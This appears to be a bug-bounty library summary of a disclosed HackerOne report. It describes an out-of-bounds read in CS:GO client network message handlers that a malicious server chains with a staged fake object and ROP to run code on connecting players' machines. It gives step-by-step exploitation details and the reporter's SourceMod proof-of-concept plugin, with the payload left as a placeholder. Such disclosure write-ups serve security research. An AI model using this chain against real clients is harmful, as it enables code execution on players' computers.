# OOB reads in network message handlers leads to RCE

Missing upper-bound check on entity index in CS:GO GlowPropTurnOff network message lets a malicious server OOB-read a fake object and ROP to RCE on connecting clients.

- Payout: $7,500
- Severity: critical
- Program: Valve
- Found by: slidybat
- Disclosed: 2021-05-04
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/807772
- Library page: https://bugbountylibrary.com/r/h1%3A807772
- Tags: area:os domain:desktop impact:mass-exploit impact:rce kind:bounty platform:hackerone sev:critical tech:windows technique:chained technique:reverse-engineering vuln:memory-corruption vuln:rce

**Target:** Source engine CS:GO client network message handlers (GlowPropTurnOff / ShowMenu)
**Root cause:** Entity index lower bound is checked but not upper bound; index is shifted left 4 and used to index entitylist, so a large positive index overflows to a negative offset, returning an attacker-influenced pointer that is then used to call a virtual function.
**Steps:**
1. Identify handlers like _MsgFunc_GlowPropTurnOff that check `ent_idx >= 0` but not upper bound, then call `handle->GetBaseEntity()` (virtual).
2. Note asm: `shl eax,4; mov ecx, entitylist[eax]` — large positive index overflows to negative, pointing anywhere in module.
3. Use ShowMenu message to write attacker-controlled UTF16 into global `wchar_t g_szMenuString[512]`, crafting a fake object with vtable and ROP chain.
4. Send GlowPropTurnOff with `entidx = 0xfe43167` so entitylist lookup returns pointer into g_szMenuString.
5. Virtual call lands on `xchg eax,esp` gadget, pivots stack into fake object, ROP chain calls ShellExecute to pop calc.
6. Deliver both messages from a malicious server via SourceMod plugin on player_spawn.
**How found:** Noticed a recurring pattern across Source network messages: entity index lower bound checked but not upper bound, followed by virtual call on the resulting pointer. Inspected assembly to see the `shl eax,4` overflow enabling arbitrary pointer, then reused ShowMenu (per prior Insomnihack writeup) to stage controlled memory.
**Exploitation:** Attacker runs a malicious CS:GO server. On client spawn, sends ShowMenu to place a fake object + ROP chain in g_szMenuString, then sends GlowPropTurnOff with crafted entidx causing OOB entitylist read to return pointer into controlled memory; virtual call pivots stack and executes ROP calling ShellExecute('open','calc'). Requires knowing client_panorama.dll base (ASLR caveat).
**Escalation:** Chained two network messages: ShowMenu for controlled memory write, GlowPropTurnOff for OOB read + virtual call hijack, then ROP for arbitrary code execution.
**Insight:** When a signed index is bounds-checked only on one side and then scaled/shifted before array access, look for integer overflow to reach attacker-controlled memory; also look for a separate message that writes attacker data into a fixed global buffer to stage a fake vtable.

## Proof of concept (copied exactly from the original report)

**SourceMod plugin sending ShowMenu and GlowPropTurnOff**

```
#include <sdktools>

public void OnPluginStart()
{
	HookEvent( "player_spawn", Event_PlayerSpawn );
}

public Action Event_PlayerSpawn( Event event, const char[] name, bool dontBroadcast )
{
    int client = GetClientOfUserId( event.GetInt( "userid" ) );
	
	{
		char payload[] = "PLACE PAYLOAD HERE";
	
		Protobuf msg = UserMessageToProtobuf( StartMessageOne( "ShowMenu", client ) );
		msg.SetInt( "bits_valid_slots", 0xFFFFFFFF );
		msg.SetInt( "display_time", 0 );
		msg.SetString( "menu_string", payload );
		EndMessage();
	}
	
	{
		Protobuf msg = UserMessageToProtobuf( StartMessageOne( "GlowPropTurnOff", client ) );
		msg.SetInt( "entidx", 0xfe43167 );
		EndMessage();
	}

	return Plugin_Continue;
}
```

